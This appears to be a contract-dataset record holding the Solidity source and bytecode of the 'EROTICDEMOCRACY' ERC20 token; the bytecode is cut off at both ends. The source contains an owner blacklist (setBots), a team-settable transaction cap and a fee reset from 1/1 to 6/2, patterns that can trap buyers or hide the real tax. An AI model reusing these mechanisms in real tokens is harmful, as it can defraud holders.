ffffffffffffff1614151515611f1d57600080fd5b611f278282611699565b151515611f3357600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a723058204b5c15a9e957d98f2b8e7ece53ee8210264960771af2c95d972f2aa014236a370029 | {"success": true, "error": null, "results": {}} | 9,605 |
0xD7a1Af31b1B193E236a7E38B592108909a60eB16 | /**
*Submitted for verification at Etherscan.io on 2021-10-20
*/
/*
https://t.me/EROTICDEMOCRACY_ETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EROTICDEMOCRACY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EROTICDEMOCRACY";
string private constant _symbol = "EROTICDEMOCRACY" ;
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _redisfee = 1;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function maxtx(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b80632634e5e8116100d15780632634e5e8146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc4565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ee565b61042a565b60405161016d9190612ca9565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e46565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061279b565b610458565b6040516101d59190612ca9565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906128d1565b610531565b005b34801561021357600080fd5b5061021c610610565b6040516102299190612ebb565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612877565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b5061029960048036038101906102949190612701565b61073d565b6040516102a69190612e46565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e89190612bdb565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612cc4565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127ee565b610947565b6040516103509190612ca9565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061282e565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061275b565b611064565b6040516103e49190612e46565b60405180910390f35b60606040518060400160405280600f81526020017f45524f54494344454d4f43524143590000000000000000000000000000000000815250905090565b600061043e6104376110eb565b84846110f3565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112be565b610526846104716110eb565b6105218560405180606001604052806028815260200161359960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7d9092919063ffffffff16565b6110f3565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105726110eb565b73ffffffffffffffffffffffffffffffffffffffff161461059257600080fd5b6000811161059f57600080fd5b6105ce6127106105c083670de0b6b3a7640000611ae190919063ffffffff16565b611b5c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106059190612e46565b60405180910390a150565b60006009905090565b6106216110eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612d86565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110eb565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611ba6565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca1565b9050919050565b6107966110eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612d86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f45524f54494344454d4f43524143590000000000000000000000000000000000815250905090565b600061095b6109546110eb565b84846112be565b6001905092915050565b61096d6110eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612d86565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e613203565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a839061315c565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110eb565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611d0f565b50565b610b116110eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d86565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e06565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f3565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272e565b6040518363ffffffff1660e01b8152600401610db2929190612bf6565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061073d565b600080610e986108e1565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c48565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fe565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100e929190612c1f565b602060405180830381600087803b15801561102857600080fd5b505af115801561103c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106091906128a4565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612de6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ca90612d26565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b19190612e46565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132590612dc6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612ce6565b60405180910390fd5b600081116113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d890612da6565b60405180910390fd5b6113e96108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145757506114276108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119ba57600f60179054906101000a900460ff161561168a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115335750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d36110eb565b73ffffffffffffffffffffffffffffffffffffffff1614806116495750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116316110eb565b73ffffffffffffffffffffffffffffffffffffffff16145b611688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167f90612e26565b60405180910390fd5b5b5b60105481111561169957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173d5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118475750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185f5750600f60179054906101000a900460ff165b156119005742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118af57600080fd5b6005426118bc9190612f7c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190b3061073d565b9050600f60159054906101000a900460ff161580156119785750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119905750600f60169054906101000a900460ff165b156119b85761199e81611d0f565b600047905060008111156119b6576119b547611ba6565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a615750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6b57600090505b611a7784848484611f97565b50505050565b6000838311158290611ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abc9190612cc4565b60405180910390fd5b5060008385611ad4919061305d565b9050809150509392505050565b600080831415611af45760009050611b56565b60008284611b029190613003565b9050828482611b119190612fd2565b14611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890612d66565b60405180910390fd5b809150505b92915050565b6000611b9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bf6600284611b5c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c21573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c72600284611b5c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c9d573d6000803e3d6000fd5b5050565b6000600654821115611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf90612d06565b60405180910390fd5b6000611cf2612027565b9050611d078184611b5c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4757611d46613232565b5b604051908082528060200260200182016040528015611d755781602001602082028036833780820191505090505b5090503081600081518110611d8d57611d8c613203565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2f57600080fd5b505afa158015611e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e67919061272e565b81600181518110611e7b57611e7a613203565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f3565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f46959493929190612e61565b600060405180830381600087803b158015611f6057600080fd5b505af1158015611f74573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa557611fa4612052565b5b611fb0848484612083565b80611fbe57611fbd61224e565b5b50505050565b6000808311829061200b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120029190612cc4565b60405180910390fd5b506000838561201a9190612fd2565b9050809150509392505050565b6000806000612034612260565b9150915061204b8183611b5c90919063ffffffff16565b9250505090565b600060085414801561206657506000600954145b1561207057612081565b600060088190555060006009819055505b565b600080600080600080612095876122bf565b9550955095509550955095506120f386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d4816123cf565b6121de848361248c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223b9190612e46565b60405180910390a3505050505050505050565b60066008819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612294670de0b6b3a7640000600654611b5c90919063ffffffff16565b8210156122b257600654670de0b6b3a76400009350935050506122bb565b81819350935050505b9091565b60008060008060008060008060006122dc8a6008546009546124c6565b92509250925060006122ec612027565b905060008060006122ff8e87878761255c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7d565b905092915050565b60008082846123809190612f7c565b9050838110156123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bc90612d46565b60405180910390fd5b8091505092915050565b60006123d9612027565b905060006123f08284611ae190919063ffffffff16565b905061244481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124a18260065461232790919063ffffffff16565b6006819055506124bc8160075461237190919063ffffffff16565b6007819055505050565b6000806000806124f260646124e4888a611ae190919063ffffffff16565b611b5c90919063ffffffff16565b9050600061251c606461250e888b611ae190919063ffffffff16565b611b5c90919063ffffffff16565b9050600061254582612537858c61232790919063ffffffff16565b61232790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125758589611ae190919063ffffffff16565b9050600061258c8689611ae190919063ffffffff16565b905060006125a38789611ae190919063ffffffff16565b905060006125cc826125be858761232790919063ffffffff16565b61232790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f86125f384612efb565b612ed6565b9050808382526020820190508285602086028201111561261b5761261a613266565b5b60005b8581101561264b57816126318882612655565b84526020840193506020830192505060018101905061261e565b5050509392505050565b60008135905061266481613553565b92915050565b60008151905061267981613553565b92915050565b600082601f83011261269457612693613261565b5b81356126a48482602086016125e5565b91505092915050565b6000813590506126bc8161356a565b92915050565b6000815190506126d18161356a565b92915050565b6000813590506126e681613581565b92915050565b6000815190506126fb81613581565b92915050565b60006020828403121561271757612716613270565b5b600061272584828501612655565b91505092915050565b60006020828403121561274457612743613270565b5b60006127528482850161266a565b91505092915050565b60008060408385031215612772576127716132